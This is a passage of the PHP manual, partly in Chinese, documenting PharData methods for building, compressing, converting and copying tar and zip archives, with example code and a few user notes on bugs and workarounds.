public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Table of Contents

  • PharData::addEmptyDir — Add an empty directory to the tar/zip archive
  • PharData::addFile — Add a file from the filesystem to the tar/zip archive
  • PharData::addFromString — Add a file from a string to the tar/zip archive
  • PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory
  • PharData::buildFromIterator — Construct a tar or zip archive from an iterator
  • PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::compressFiles — Compresses all files in the current tar/zip archive
  • PharData::__construct — Construct a non-executable tar or zip archive object
  • PharData::convertToData — Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::copy — Copy a file internal to the phar archive to another new file within the phar
  • PharData::decompress — Decompresses the entire Phar archive
  • PharData::decompressFiles — Decompresses all files in the current zip archive
  • PharData::delMetadata — Deletes the global metadata of a zip archive
  • PharData::delete — Delete a file within a tar/zip archive
  • PharData::__destruct — Destructs a non-executable tar or zip archive object
  • PharData::extractTo — Extract the contents of a tar/zip archive to a directory
  • PharData::isWritable — Returns true if the tar/zip archive can be modified
  • PharData::offsetSet — Set the contents of a file within the tar/zip to those of an external file or string
  • PharData::offsetUnset — Remove a file from a tar/zip archive
  • PharData::setAlias — Dummy function (Phar::setAlias is not valid for PharData)
  • PharData::setDefaultStub — Dummy function (Phar::setDefaultStub is not valid for PharData)
  • PharData::setMetadata — Sets phar archive meta-data
  • PharData::setSignatureAlgorithm — Set the signature algorithm for a phar and apply it
  • PharData::setStub — Dummy function (Phar::setStub is not valid for PharData)

User Contributed Notes

There are no user contributed notes for this page.


Add an empty directory to the tar/zip archive

  • ? PharData
  • PharData::addFile ?
  • PHP Manual
  • PharData
  • Add an empty directory to the tar/zip archive

PharData::addEmptyDir

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::addEmptyDir — Add an empty directory to the tar/zip archive

说明

public PharData::addEmptyDir(string $directory): void

With this method, an empty directory is created with path dirname. This method is similar to ZipArchive::addEmptyDir().

参数

directory

The name of the empty directory to create in the phar archive

返回值

no return value, exception is thrown on failure.

示例

Example #1 A PharData::addEmptyDir() example

<?php
try {
$a = new PharData('/path/to/my.tar');

$a->addEmptyDir('/full/path/to/file');
// demonstrates how this file is stored
$b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
// handle errors here
}
?>

参见

  • Phar::addEmptyDir() - 添加一个空目录到 phar 档案
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • PharData::addFromString() - Add a file from a string to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.


Add a file from the filesystem to the tar/zip archive

  • ? PharData::addEmptyDir
  • PharData::addFromString ?
  • PHP Manual
  • PharData
  • Add a file from the filesystem to the tar/zip archive

PharData::addFile

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::addFile — Add a file from the filesystem to the tar/zip archive

说明

public PharData::addFile(string $filename, ?string $localName = null): void

With this method, any file or URL can be added to the tar/zip archive. If the optional second parameter localname is specified, the file will be stored in the archive with that name, otherwise the file parameter is used as the path to store within the archive. URLs must have a localname or an exception is thrown. This method is similar to ZipArchive::addFile().

参数

filename

Full or relative path to a file on disk to be added to the phar archive.

localName

Path that the file will be stored in the archive.

返回值

no return value, exception is thrown on failure.

更新日志

版本 | 说明
8.0.0 | localName is now nullable.

示例

Example #1 A PharData::addFile() example

<?php
try {
$a = new PharData('/path/to/my.tar');

$a->addFile('/full/path/to/file');
// demonstrates how this file is stored
$b = $a['full/path/to/file']->getContent();

$a->addFile('/full/path/to/file', 'my/file.txt');
$c = $a['my/file.txt']->getContent();

// demonstrate URL usage
$a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
// handle errors here
}
?>

注释

Note: PharData::addFile(), PharData::addFromString() and PharData::offsetSet() save a new phar archive each time they are called. If performance is a concern, PharData::buildFromDirectory() or PharData::buildFromIterator() should be used instead.

参见

  • PharData::offsetSet() - Set the contents of a file within the tar/zip to those of an external file or string
  • Phar::addFile() - 将一个文件从文件系统添加到 phar 档案中
  • PharData::addFromString() - Add a file from a string to the tar/zip archive
  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.


Add a file from a string to the tar/zip archive

  • ? PharData::addFile
  • PharData::buildFromDirectory ?
  • PHP Manual
  • PharData
  • Add a file from a string to the tar/zip archive

PharData::addFromString

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::addFromString — Add a file from a string to the tar/zip archive

说明

public PharData::addFromString(string $localName, string $contents): void

With this method, any string can be added to the tar/zip archive. The file will be stored in the archive with localname as its path. This method is similar to ZipArchive::addFromString().

参数

localName

Path that the file will be stored in the archive.

contents

The file contents to store

返回值

no return value, exception is thrown on failure.

示例

Example #1 A PharData::addFromString() example

<?php
try {
$a = new PharData('/path/to/my.tar');

$a->addFromString('path/to/file.txt', 'my simple file');
$b = $a['path/to/file.txt']->getContent();

// to add contents from a stream handle for large files, use offsetSet()
$c = fopen('/path/to/hugefile.bin');
$a['largefile.bin'] = $c;
fclose($c);
} catch (Exception $e) {
// handle errors here
}
?>

注释

Note: PharData::addFile(), PharData::addFromString() and PharData::offsetSet() save a new phar archive each time they are called. If performance is a concern, PharData::buildFromDirectory() or PharData::buildFromIterator() should be used instead.

参见

  • PharData::offsetSet() - Set the contents of a file within the tar/zip to those of an external file or string
  • Phar::addFromString() - 以字符串的形式添加一个文件到 phar 档案
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive

User Contributed Notes

There are no user contributed notes for this page.


Construct a tar/zip archive from the files within a directory

  • ? PharData::addFromString
  • PharData::buildFromIterator ?
  • PHP Manual
  • PharData
  • Construct a tar/zip archive from the files within a directory

PharData::buildFromDirectory

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory

说明

public PharData::buildFromDirectory(string $directory, string $pattern = ""): array

Populate a tar/zip archive from directory contents. The optional second parameter is a regular expression (pcre) that is used to exclude files. Any filename that matches the regular expression will be included, all others will be excluded. For more fine-grained control, use PharData::buildFromIterator().

参数

directory

The full or relative path to the directory that contains all files to add to the archive.

pattern

An optional pcre regular expression that is used to filter the list of files. Only file paths matching the regular expression will be included in the archive.

返回值

Phar::buildFromDirectory() returns an associative array mapping internal path of file to the full path of the file on the filesystem, 或者在失败时返回 false.

错误／异常

This method throws BadMethodCallException when unable to instantiate the internal directory iterators, or a PharException if there were errors saving the phar archive.

更新日志

版本 | 说明
8.1.0 | PharData::buildFromDirectory() no longer returns false.

示例

Example #1 A PharData::buildFromDirectory() example

<?php
$phar = new PharData('project.tar');
// add all files in the project
$phar->buildFromDirectory(dirname(__FILE__) . '/project');

$phar2 = new PharData('project2.zip');
// add all files in the project, only include php files
$phar2->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
?>

参见

  • Phar::buildFromDirectory() - Construct a phar archive from the files within a directory
  • PharData::buildFromIterator() - Construct a tar or zip archive from an iterator

User Contributed Notes

dan 11-Oct-2019 04:43
buildFromDirectory won't add empty subdirectories on 7.2


Construct a tar or zip archive from an iterator

  • ? PharData::buildFromDirectory
  • PharData::compress ?
  • PHP Manual
  • PharData
  • Construct a tar or zip archive from an iterator

PharData::buildFromIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::buildFromIterator — Construct a tar or zip archive from an iterator

说明

public PharData::buildFromIterator(Traversable $iterator, ?string $baseDirectory = null): array

Populate a tar or zip archive from an iterator. Two styles of iterators are supported, iterators that map the filename within the tar/zip to the name of a file on disk, and iterators like DirectoryIterator that return SplFileInfo objects. For iterators that return SplFileInfo objects, the second parameter is required.

参数

iterator

Any iterator that either associatively maps tar/zip file to location or returns SplFileInfo objects

baseDirectory

For iterators that return SplFileInfo objects, the portion of each file's full path to remove when adding to the tar/zip archive

返回值

PharData::buildFromIterator() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

错误／异常

This method returns UnexpectedValueException when the iterator returns incorrect values, such as an integer key instead of a string, a BadMethodCallException when an SplFileInfo-based iterator is passed without a baseDirectory parameter, or a PharException if there were errors saving the phar archive.

更新日志

版本 | 说明
8.1.0 | PharData::buildFromIterator() no longer returns false.
8.0.0 | baseDirectory is now nullable.

示例

Example #1 A PharData::buildFromIterator() with SplFileInfo

For most tar/zip archives, the archive will reflect an actual directory layout, and the second style is the most useful. For instance, to create a tar/zip archive containing the files in this sample directory layout:

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

This code could be used to add these files to the "project.tar" tar archive:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator('/path/to/project')),
'/path/to/project');
?>

The file project.tar can then be used immediately. PharData::buildFromIterator() does not set values such as compression, metadata, and this can be done after creating the tar/zip archive.

As an interesting note, PharData::buildFromIterator() can also be used to copy the contents of an existing phar, tar or zip archive, as the PharData object descends from DirectoryIterator:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new Phar('/path/to/anotherphar.phar')),
'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Example #2 A PharData::buildFromIterator() with other iterators

The second form of the iterator can be used with any iterator that returns a key => value mapping, such as an ArrayIterator:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
new ArrayIterator(
array(
'internal/file.php' => dirname(__FILE__) . '/somefile.php',
'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
)));
?>

参见

  • Phar::buildFromIterator() - Construct a phar archive from an iterator

User Contributed Notes

cbonnissent 11-Sep-2014 07:41
The code in the first exemple doesn't work properly without the flag  FilesystemIterator::SKIP_DOTS in the RecursiveDirectoryIterator (on a linux filesystem).

So, to build a tar with a phar, I do (with two level of iteration here) :

            $pharTar = new \PharData($contentTar.".tar");
            $firstLevelIterator = new \DirectoryIterator($this->inputPath);
            foreach ($firstLevelIterator as $fileInfo) {
                /* @var \SplFileInfo $fileInfo */
                if (in_array($fileInfo->getFilename(), $allowedDirectory)) {
                    $recursiveDirectoryIterator = new \RecursiveDirectoryIterator(
                        $this->inputPath . DIRECTORY_SEPARATOR . $fileInfo->getFilename(), \FilesystemIterator::SKIP_DOTS);
                    $pharTar->buildFromIterator(new \RecursiveIteratorIterator($recursiveDirectoryIterator), $this->inputPath);
                }
            }


Compresses the entire tar/zip archive using Gzip or Bzip2 compression

  • ? PharData::buildFromIterator
  • PharData::compressFiles ?
  • PHP Manual
  • PharData
  • Compresses the entire tar/zip archive using Gzip or Bzip2 compression

PharData::compress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression

说明

public PharData::compress(int $compression, ?string $extension = null): ?PharData

For tar archives, this method compresses the entire archive using gzip compression or bzip2 compression. The resulting file can be processed with the gunzip command/bunzip command, or accessed directly and transparently with the Phar extension.

For zip archives, this method fails with an exception. The zlib extension must be enabled to compress with gzip compression, the bzip2 extension must be enabled in order to compress with bzip2 compression.

In addition, this method automatically renames the archive, appending .gz, .bz2 or removing the extension if passed Phar::NONE to remove compression. Alternatively, a file extension may be specified with the second parameter.

参数

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

extension

By default, the extension is .tar.gz or .tar.bz2 for compressing a tar, and .tar for decompressing.

返回值

A PharData object is returned on success, or null on failure.

错误／异常

Throws BadMethodCallException if the zlib extension is not available, or the bzip2 extension is not enabled.

更新日志

版本 | 说明
8.0.0 | extension is now nullable.

示例

Example #1 A PharData::compress() example

<?php
$p = new PharData('/path/to/my.tar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // copies to /path/to/my.tar.gz
$p2 = $p->compress(Phar::BZ2); // copies to /path/to/my.tar.bz2
$p3 = $p2->compress(Phar::NONE); // exception: /path/to/my.tar already exists
?>

参见

  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression

User Contributed Notes

Christopher Marshall 05-Apr-2016 09:57
This is a very irritating bug. You can use this to get around it though:

$data = 'some.test.string';
$phar = new PharData('test.tar');

$phar->compress(Phar::GZ, substr($data, strpos($data, '.') + 1));
c6h1206free at gmail dot com 23-Feb-2016 04:59
This method destroys everything after the first dot in your filename and replaces it with the zip extension (.tar.gz, etc)

Example:

<?php

$tarfile = "2.5.0.0-RC1.tar";
$pd = new \PharData($tarfile);
$pd->buildFromDirectory("/path/to/contents");
$pd->compress(\Phar::GZ);

?>

Ends up with a file named "2.tar.gz"


Compresses all files in the current tar/zip archive

  • ? PharData::compress
  • PharData::__construct ?
  • PHP Manual
  • PharData
  • Compresses all files in the current tar/zip archive

PharData::compressFiles

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::compressFiles — Compresses all files in the current tar/zip archive

说明

public PharData::compressFiles(int $compression): void

For tar-based archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use PharData::compress() to compress an entire tar-based archive.

For Zip-based archives, this method compresses all files in the archive using the specified compression. The zlib or bzip2 extensions must be enabled to take advantage of this feature. In addition, if any files are already compressed using bzip2/zlib compression, the respective extension must be enabled in order to decompress the files prior to re-compressing.

参数

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

返回值

没有返回值。

错误／异常

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

示例

Example #1 A PharData::compressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
?>

以上示例会输出：

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::decompressFiles() - Decompresses all files in the current zip archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Construct a non-executable tar or zip archive object

  • ? PharData::compressFiles
  • PharData::convertToData ?
  • PHP Manual
  • PharData
  • Construct a non-executable tar or zip archive object

PharData::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::__construct — Construct a non-executable tar or zip archive object

说明

public PharData::__construct(
string $filename,
int $flags = FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS,
?string $alias = null,
int $format = 0
)

参数

filename

Path to an existing tar/zip archive or to-be-created archive

flags

Flags to pass to Phar parent class RecursiveDirectoryIterator.

alias

Alias with which this Phar archive should be referred to in calls to stream functionality.

format

One of the file format constants available within the Phar class.

错误／异常

Throws BadMethodCallException if called twice; UnexpectedValueException if the Phar archive can't be opened.

示例

Example #1 A PharData::__construct() example

<?php
try {
$p = new PharData('/path/to/my.tar', Phar::CURRENT_AS_FILEINFO | Phar::KEY_AS_FILENAME);
} catch (UnexpectedValueException $e) {
die('Could not open my.tar');
} catch (BadMethodCallException $e) {
echo 'technically, this cannot happen';
}
echo file_get_contents('phar:///path/to/my.tar/example.txt');
?>

User Contributed Notes

There are no user contributed notes for this page.


Convert a phar archive to a non-executable tar or zip file

  • ? PharData::__construct
  • PharData::convertToExecutable ?
  • PHP Manual
  • PharData
  • Convert a phar archive to a non-executable tar or zip file

PharData::convertToData

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::convertToData — Convert a phar archive to a non-executable tar or zip file

说明

public PharData::convertToData(?int $format = null, ?int $compression = null, ?string $extension = null): ?PharData

This method is used to convert a non-executable tar or zip archive to another non-executable format.

If no changes are specified, this method throws a BadMethodCallException. This method should be used to convert a tar archive to zip format or vice-versa. Although it is possible to simply change the compression of a tar archive using this method, it is better to use the PharData::compress() method for logical consistency.

If successful, the method creates a new archive on disk and returns a PharData object. The old archive is not removed from disk, and should be done manually after the process has finished.

参数

format

This should be one of Phar::TAR or Phar::ZIP. If set to null, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that .phar cannot be used anywhere in the filename for a non-executable tar or zip archive.

If converting to a tar-based phar archive, the default extensions are .tar, .tar.gz, and .tar.bz2 depending on specified compression. For zip-based archives, the default extension is .zip.

返回值

The method returns a PharData object on success, or null on failure.

错误／异常

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), and a PharException if any problems are encountered during the phar creation process.

更新日志

版本 | 说明
8.0.0 | format, compression, and extension are now nullable.

示例

Example #1 A PharData::convertToData() example

Using PharData::convertToData():

<?php
try {
$tarphar = new PharData('myphar.tar');
// note that myphar.tar is *not* unlinked
// convert it to the non-executable tar file format
// creates myphar.zip
$zip = $tarphar->convertToData(Phar::ZIP);
// create myphar.tbz
$tgz = $zip->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
// creates myphar.phar.tgz
$phar = $tarphar->convertToData(Phar::PHAR); // throws exception
} catch (Exception $e) {
// handle the error here
}
?>

参见

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive

User Contributed Notes

There are no user contributed notes for this page.


Convert a non-executable tar/zip archive to an executable phar archive

  • ? PharData::convertToData
  • PharData::copy ?
  • PHP Manual
  • PharData
  • Convert a non-executable tar/zip archive to an executable phar archive

PharData::convertToExecutable

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive

说明

public PharData::convertToExecutable(?int $format = null, ?int $compression = null, ?string $extension = null): ?Phar

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

This method is used to convert a non-executable tar or zip archive to an executable phar archive. Any of the three executable file formats (phar, tar or zip) can be used, and whole-archive compression can also be performed.

If no changes are specified, this method throws a BadMethodCallException.

If successful, the method creates a new archive on disk and returns a Phar object. The old archive is not removed from disk, and should be done manually after the process has finished.

参数

format

This should be one of Phar::PHAR, Phar::TAR, or Phar::ZIP. If set to null, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that all zip- and tar-based phar archives must contain .phar in their file extension in order to be processed as a phar archive.

If converting to a phar-based archive, the default extensions are .phar, .phar.gz, or .phar.bz2 depending on the specified compression. For tar-based phar archives, the default extensions are .phar.tar, .phar.tar.gz, and .phar.tar.bz2. For zip-based phar archives, the default extension is .phar.zip.

返回值

The method returns a Phar object on success, or null on failure.

错误／异常

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), an UnexpectedValueException if write support is disabled, and a PharException if any problems are encountered during the phar creation process.

更新日志

版本 | 说明
8.0.0 | format, compression, and localName are now nullable.

示例

Example #1 A PharData::convertToExecutable() example

Using PharData::convertToExecutable():

<?php
try {
$tarphar = new PharData('myphar.tar');
// convert it to the phar file format
// note that myphar.tar is *not* unlinked
$phar = $tarphar->convertToExecutable(Phar::PHAR); // creates myphar.phar
$phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
// creates myphar.phar.tgz
$compressed = $tarphar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
// handle the error here
}
?>

参见

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

zoddo.ino[at]gmaildotcom 15-Nov-2014 06:53
It doesn't work

Fatal error: Uncaught exception 'UnexpectedValueException' with message 'Cannot convert phar archive "C:/xxxxxxxxxxx.zip", unable to open entry "sub-directory/" contents: phar error: internal corruption of zip-based phar "C:/xxxxxxxxxxx.zip" (local header of file sub-directory/" does not match central directory)' in C:\xxxxxxxxxxx.php on line 5


Copy a file internal to the phar archive to another new file within the phar

  • ? PharData::convertToExecutable
  • PharData::decompress ?
  • PHP Manual
  • PharData
  • Copy a file internal to the phar archive to another new file within the phar

PharData::copy

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::copy — Copy a file internal to the phar archive to another new file within the phar

说明

public PharData::copy(string $from, string $to): bool

Copy a file internal to the tar/zip archive to another new file within the same archive. This is an object-oriented alternative to using copy() with the phar stream wrapper.

参数

from

to

返回值

returns true on success, but it is safer to encase method call in a try/catch block and assume success if no exception is thrown.

错误／异常

throws UnexpectedValueException if the source file does not exist, the destination file already exists, write access is disabled, opening either file fails, reading the source file fails, or a PharException if writing the changes to the phar fails.

示例

Example #1 A PharData::copy() example

This example shows using PharData::copy() and the equivalent stream wrapper performance of the same thing. The primary difference between the two approaches is error handling. All PharData methods throw exceptions, whereas the stream wrapper uses trigger_error().

<?php
try {
$phar = new PharData('myphar.tar');
$phar['a'] = 'hi';
$phar->copy('a', 'b');
echo $phar['b']; // outputs "phar://myphar.tar/b"
} catch (Exception $e) {
// handle error
}

// the stream wrapper equivalent of the above code.
// E_WARNINGS are triggered on error rather than exceptions.
copy('phar://myphar.tar/a', 'phar//myphar.tar/c');
echo file_get_contents('phar://myphar.tar/c'); // outputs "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.


Decompresses the entire Phar archive

  • ? PharData::copy
  • PharData::decompressFiles ?
  • PHP Manual
  • PharData
  • Decompresses the entire Phar archive

PharData::decompress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::decompress — Decompresses the entire Phar archive

说明

public PharData::decompress(?string $extension = null): ?PharData

For tar-based archives, this method decompresses the entire archive.

For Zip-based archives, this method fails with an exception. The zlib extension must be enabled to decompress an archive compressed with gzip compression, and the bzip2 extension must be enabled in order to decompress an archive compressed with bzip2 compression.

In addition, this method automatically renames the file extension of the archive, .tar by default. Alternatively, a file extension may be specified with the extension parameter.

参数

extension

For decompressing, the default file extension is .tar. Use this parameter to specify another file extension. Be aware that only executable archives can contain .phar in their filename.

返回值

A PharData object is returned on success, or null on failure.

错误／异常

Throws BadMethodCallException if the zlib extension is not available, or the bzip2 extension is not enabled.

更新日志

版本 | 说明
8.0.0 | extension is now nullable.

示例

Example #1 A PharData::decompress() example

<?php
$p = new PharData('/path/to/my.tar.gz');
$p->decompress(); // creates /path/to/my.tar
?>

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compressFiles() - Compresses all files in the current tar/zip archive
  • PharData::decompressFiles() - Decompresses all files in the current zip archive

User Contributed Notes

pttlens at gmail dot com 15-Nov-2018 08:25
If filename contains multiple dots(.), you can preserve other parts by following code (example1).

Example #1 (Expected)
<?php
$filename = "abc.xyz.tar.gz";
$p = new PharData($filename);
$exts = explode('.', $filename);
array_shift($exts);
array_pop($exts);
$ext = implode('.', $exts);
$p->decompress($ext); # result filename: abc.xyz.tar
?>

Example #2 (might be unexpected)
<?php
$filename = "abc.xyz.tar.gz";
$p = new PharData($filename);
$p->decompress($filename); # result filename: abc.tar; xyz is truncated accidentally.
?>


Decompresses all files in the current zip archive

  • ? PharData::decompress
  • PharData::delMetadata ?
  • PHP Manual
  • PharData
  • Decompresses all files in the current zip archive

PharData::decompressFiles

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::decompressFiles — Decompresses all files in the current zip archive

说明

public PharData::decompressFiles(): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

For tar-based archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use PharData::compress() to compress an entire tar-based archive.

For Zip-based archives, this method decompresses all files in the archive. The zlib or bzip2 extensions must be enabled to take advantage of this feature if any files are compressed using bzip2/zlib compression.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Throws BadMethodCallException if the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

示例

Example #1 A PharData::decompressFiles() example

<?php
$p = new PharData('/path/to/my.zip');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
?>

以上示例会输出：

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

参见

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • PharData::compressFiles() - Compresses all files in the current tar/zip archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • PharData::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Deletes the global metadata of a zip archive

  • ? PharData::decompressFiles
  • PharData::delete ?
  • PHP Manual
  • PharData
  • Deletes the global metadata of a zip archive

PharData::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::delMetadata — Deletes the global metadata of a zip archive

说明

public PharData::delMetadata(): bool

Note:

此方法需要 将 php.ini 中的 phar.readonly 设为 0 以适合 Phar 对象. 否则, 将抛出PharException.

Deletes the global metadata of the zip archive

参数

返回值

returns true on success, but it is better to check for thrown exception, and assume success if none is thrown.
